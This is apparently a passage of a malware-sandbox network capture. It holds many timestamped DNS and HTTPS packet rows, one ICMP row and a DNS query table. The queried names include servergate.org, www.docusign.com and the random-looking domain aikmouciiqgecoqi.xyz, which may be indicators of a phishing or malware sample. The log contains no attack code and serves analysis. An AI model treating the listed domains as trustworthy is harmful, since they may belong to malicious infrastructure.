Dec 12, 2024 12:10:32.349215031 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.349237919 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.349251032 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.349256992 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.349267960 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.349323988 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.349838018 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.349838018 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.349873066 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.350166082 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.358072042 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.358088017 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.358102083 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.358165026 CET	53	50923	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:32.358969927 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.359117985 CET	57715	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:32.578608990 CET	53	57715	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:32.579643011 CET	60874	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:32.664097071 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:32.702852011 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.734694004 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.734694004 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.894027948 CET	53	60874	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:32.895181894 CET	62347	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:33.049942970 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:33.122366905 CET	53	62347	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:33.123332977 CET	63218	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:33.125479937 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:33.129168987 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:33.145340919 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:33.344017982 CET	53	63218	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:33.344964027 CET	53680	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:33.563774109 CET	53	53680	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:33.564879894 CET	53824	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:33.883740902 CET	53	53824	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:33.884674072 CET	56546	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:34.109957933 CET	53	56546	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:34.111524105 CET	58150	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:34.334006071 CET	53	58150	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:34.334894896 CET	65194	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:34.556634903 CET	53	65194	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:34.557605028 CET	64090	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:34.780875921 CET	53	64090	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:34.781985044 CET	57475	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:34.999821901 CET	53	57475	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:35.000906944 CET	58414	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:35.221349955 CET	53	58414	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:35.222412109 CET	59587	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:35.440412045 CET	53	59587	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:35.441649914 CET	60537	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:35.661537886 CET	53	60537	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:35.662586927 CET	55291	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:35.888053894 CET	53	55291	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:35.889436007 CET	49687	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:36.208005905 CET	53	49687	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:36.209156990 CET	54206	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:36.432265043 CET	53	54206	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:36.433712006 CET	53196	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:36.749072075 CET	53	53196	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:36.749989033 CET	57633	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:36.968939066 CET	53	57633	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:36.969978094 CET	55316	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:37.192934990 CET	53	55316	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:37.194617033 CET	56214	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:37.416250944 CET	53	56214	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:37.417148113 CET	63362	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:37.637928963 CET	53	63362	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:37.787015915 CET	58203	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:38.011571884 CET	53	58203	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:38.012686968 CET	61348	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:38.237447023 CET	53	61348	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:38.238410950 CET	53081	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:38.465259075 CET	53	53081	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:38.466710091 CET	59968	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:38.694232941 CET	53	59968	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:38.695410013 CET	54687	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:39.004781008 CET	53	54687	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:39.006287098 CET	55960	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:39.232395887 CET	53	55960	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:39.234004974 CET	57297	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:39.453689098 CET	53	57297	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:39.455249071 CET	54468	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:39.676266909 CET	53	54468	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:39.677242041 CET	55192	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:39.907052040 CET	53	55192	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:39.907968998 CET	55988	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:40.129547119 CET	53	55988	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:40.130714893 CET	51443	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:40.442101002 CET	53	51443	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:40.443080902 CET	50982	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:40.662069082 CET	53	50982	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:40.662991047 CET	64404	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:40.894946098 CET	53	64404	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:40.895904064 CET	54716	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:41.123168945 CET	53	54716	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:41.124912024 CET	56677	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:41.358279943 CET	53	56677	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:41.359302998 CET	51207	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:41.591377020 CET	53	51207	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:41.592257023 CET	60378	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:41.814244032 CET	53	60378	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:41.815212965 CET	50496	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:42.040425062 CET	53	50496	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:42.041383028 CET	55040	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:42.352338076 CET	53	55040	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:42.353317976 CET	64040	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:42.583420992 CET	53	64040	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:42.584249020 CET	60681	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:42.895400047 CET	53	60681	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:42.896408081 CET	65171	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:43.117300987 CET	53	65171	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:43.118248940 CET	60684	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:43.343651056 CET	53	60684	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:43.344528913 CET	57580	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:43.654886961 CET	53	57580	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:43.655715942 CET	51438	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:43.876785040 CET	53	51438	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:43.877800941 CET	60100	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:44.193870068 CET	53	60100	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:44.197153091 CET	58507	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:44.513819933 CET	53	58507	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:44.515393972 CET	50885	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:44.734801054 CET	53	50885	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:44.735708952 CET	58900	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:44.959142923 CET	53	58900	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:44.960127115 CET	58073	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:45.178237915 CET	53	58073	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:45.181256056 CET	49611	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:45.405965090 CET	53	49611	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:45.406796932 CET	60069	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:45.722279072 CET	53	60069	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:45.723331928 CET	62215	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:45.950217962 CET	53	62215	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:45.951385975 CET	63832	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:46.176821947 CET	53	63832	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:46.177855015 CET	55267	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:46.396859884 CET	53	55267	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:46.397907972 CET	64132	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:46.618818045 CET	53	64132	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:46.619733095 CET	57667	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:46.840204000 CET	53	57667	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:46.845788002 CET	54353	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:47.158108950 CET	53	54353	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:47.159327030 CET	51775	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:47.385497093 CET	53	51775	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:47.387134075 CET	62363	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:47.730906010 CET	53	62363	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:47.732247114 CET	60473	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:47.955787897 CET	53	60473	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:47.956784010 CET	61315	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:48.268693924 CET	53	61315	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:48.271387100 CET	60671	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:48.490171909 CET	53	60671	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:48.491430998 CET	52855	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:48.716536045 CET	53	52855	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:48.717730999 CET	63497	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:48.938699007 CET	53	63497	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:48.940458059 CET	53738	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:49.160130978 CET	53	53738	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:49.161539078 CET	62128	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:49.390642881 CET	53	62128	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:49.391683102 CET	55708	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:49.611855984 CET	53	55708	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:49.613501072 CET	50343	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:49.924664021 CET	53	50343	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:49.926712036 CET	56562	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:50.144835949 CET	53	56562	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:50.146080971 CET	65172	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:50.375387907 CET	53	65172	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:50.376705885 CET	49957	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:50.631458998 CET	53	49957	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:50.632874012 CET	61528	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:50.950171947 CET	53	61528	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:50.951375961 CET	64089	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:51.176186085 CET	53	64089	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:51.177165031 CET	56354	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:51.490963936 CET	53	56354	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:51.491966009 CET	65242	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:51.717482090 CET	53	65242	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:51.718609095 CET	63941	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:51.940417051 CET	53	63941	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:51.941452026 CET	54439	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:52.158658981 CET	53	54439	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:52.159615040 CET	58509	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:52.379215956 CET	53	58509	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:52.380342960 CET	63943	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:52.603698015 CET	53	63943	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:52.604674101 CET	60694	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:52.822814941 CET	53	60694	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:52.823965073 CET	50118	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:53.042449951 CET	53	50118	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:53.043768883 CET	49603	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:53.270766973 CET	53	49603	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:53.271958113 CET	53262	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:53.586425066 CET	53	53262	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:53.587570906 CET	57145	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:53.905133963 CET	53	57145	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:53.906285048 CET	56736	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:54.126986980 CET	53	56736	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:54.128495932 CET	60792	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:54.354084015 CET	53	60792	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:54.355246067 CET	53311	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:54.667752028 CET	53	53311	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:54.668924093 CET	52781	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:54.987425089 CET	53	52781	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:54.988351107 CET	49392	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:55.212357998 CET	53	49392	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:55.213234901 CET	50786	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:55.525458097 CET	53	50786	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:55.526381016 CET	49726	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:55.748560905 CET	53	49726	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:55.749824047 CET	65207	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:56.059082985 CET	53	65207	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:56.059926987 CET	50496	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:56.280965090 CET	53	50496	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:56.281812906 CET	57918	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:56.506356001 CET	53	57918	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:56.507417917 CET	64253	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:56.724838972 CET	53	64253	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:56.725765944 CET	58649	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:56.946412086 CET	53	58649	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:56.947415113 CET	62882	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:57.172611952 CET	53	62882	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:57.173804045 CET	64550	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:57.391503096 CET	53	64550	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:57.392384052 CET	62721	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:57.616394997 CET	53	62721	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:57.617700100 CET	55941	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:57.836410046 CET	53	55941	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:57.837451935 CET	59901	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:58.065401077 CET	53	59901	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:58.066339970 CET	58697	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:58.381175041 CET	53	58697	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:58.382255077 CET	54363	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:58.602598906 CET	53	54363	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:58.603569984 CET	59992	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:58.863965988 CET	53	59992	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:58.865083933 CET	63743	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:59.087551117 CET	53	63743	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:59.088548899 CET	51387	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:59.309290886 CET	53	51387	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:59.310241938 CET	65326	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:59.528614998 CET	53	65326	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:59.529656887 CET	64620	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:59.755433083 CET	53	64620	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:59.756520033 CET	56576	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:00.071377993 CET	53	56576	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:00.072261095 CET	53063	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:00.297008991 CET	53	53063	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:00.298113108 CET	56983	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:00.518970966 CET	53	56983	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:00.519897938 CET	53702	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:00.743248940 CET	53	53702	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:00.744190931 CET	55505	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:00.963170052 CET	53	55505	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:00.964195967 CET	59113	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:01.191507101 CET	53	59113	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:01.200143099 CET	55007	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:01.426934958 CET	53	55007	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:01.428193092 CET	59422	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:01.661350012 CET	53	59422	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:01.663064003 CET	52527	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:01.887967110 CET	53	52527	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:01.889086008 CET	50810	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:02.112905025 CET	53	50810	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:02.113959074 CET	64272	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:02.433897018 CET	53	64272	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:02.440393925 CET	50042	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:02.662306070 CET	53	50042	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:02.667361021 CET	58850	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:02.898300886 CET	53	58850	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:02.903078079 CET	49260	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:03.123490095 CET	53	49260	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:03.126251936 CET	53241	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:03.345746040 CET	53	53241	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:03.347290039 CET	59610	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:03.567270041 CET	53	59610	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:03.568274975 CET	52941	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:03.785527945 CET	53	52941	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:03.959626913 CET	62168	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:04.179436922 CET	53	62168	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:04.180480003 CET	58694	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:04.397996902 CET	53	58694	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:04.398801088 CET	53136	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:04.620121956 CET	53	53136	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:04.620906115 CET	55551	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:04.851929903 CET	53	55551	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:04.852627039 CET	51410	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:05.080624104 CET	53	51410	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:05.081482887 CET	50611	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:05.300520897 CET	53	50611	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:05.301704884 CET	62965	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:05.612164021 CET	53	62965	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:05.612864971 CET	56780	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:05.926304102 CET	53	56780	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:05.927020073 CET	57488	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:06.153264999 CET	53	57488	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:06.153970003 CET	60530	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:06.373320103 CET	53	60530	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:06.376903057 CET	64688	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:06.599286079 CET	53	64688	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:06.600239992 CET	55659	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:06.912781954 CET	53	55659	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:06.913522005 CET	60835	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:07.133996964 CET	53	60835	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:07.137989998 CET	56933	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:07.359582901 CET	53	56933	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:07.360570908 CET	59541	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:07.591766119 CET	53	59541	1.1.1.1	192.168.2.5
Dec 12, 2024 12:11:07.592600107 CET	65222	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:11:07.810139894 CET	53	65222	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 12, 2024 12:09:33.300509930 CET	192.168.2.5	1.1.1.1	c29c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 12:08:58.967185974 CET	192.168.2.5	1.1.1.1	0xeab7	Standard query (0)	servergate.org	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:27.110024929 CET	192.168.2.5	1.1.1.1	0x56de	Standard query (0)	www.docusign.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:27.110471010 CET	192.168.2.5	1.1.1.1	0x2133	Standard query (0)	www.docusign.com	65	IN (0x0001)	false
Dec 12, 2024 12:09:29.555608034 CET	192.168.2.5	1.1.1.1	0x631e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:29.556163073 CET	192.168.2.5	1.1.1.1	0x723f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 12, 2024 12:09:31.964720964 CET	192.168.2.5	1.1.1.1	0xd9b9	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:31.964934111 CET	192.168.2.5	1.1.1.1	0xd798	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 12, 2024 12:09:31.983541965 CET	192.168.2.5	1.1.1.1	0xfcf1	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:31.983853102 CET	192.168.2.5	1.1.1.1	0x88c9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 12:09:31.984631062 CET	192.168.2.5	1.1.1.1	0x2cb3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:31.984798908 CET	192.168.2.5	1.1.1.1	0x9056	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 12:09:32.047374010 CET	192.168.2.5	1.1.1.1	0xd553	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:09:32.047600031 CET	192.168.2.5	1.1.1.1	0xfd43	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 12, 2024 12:09:38.088156939 CET	192.168.2.5	1.1.1.1	0xeedd	Standard query (0)	aikmouciiqgecoqi.xyz	A (IP address)	IN (0x0001)	false
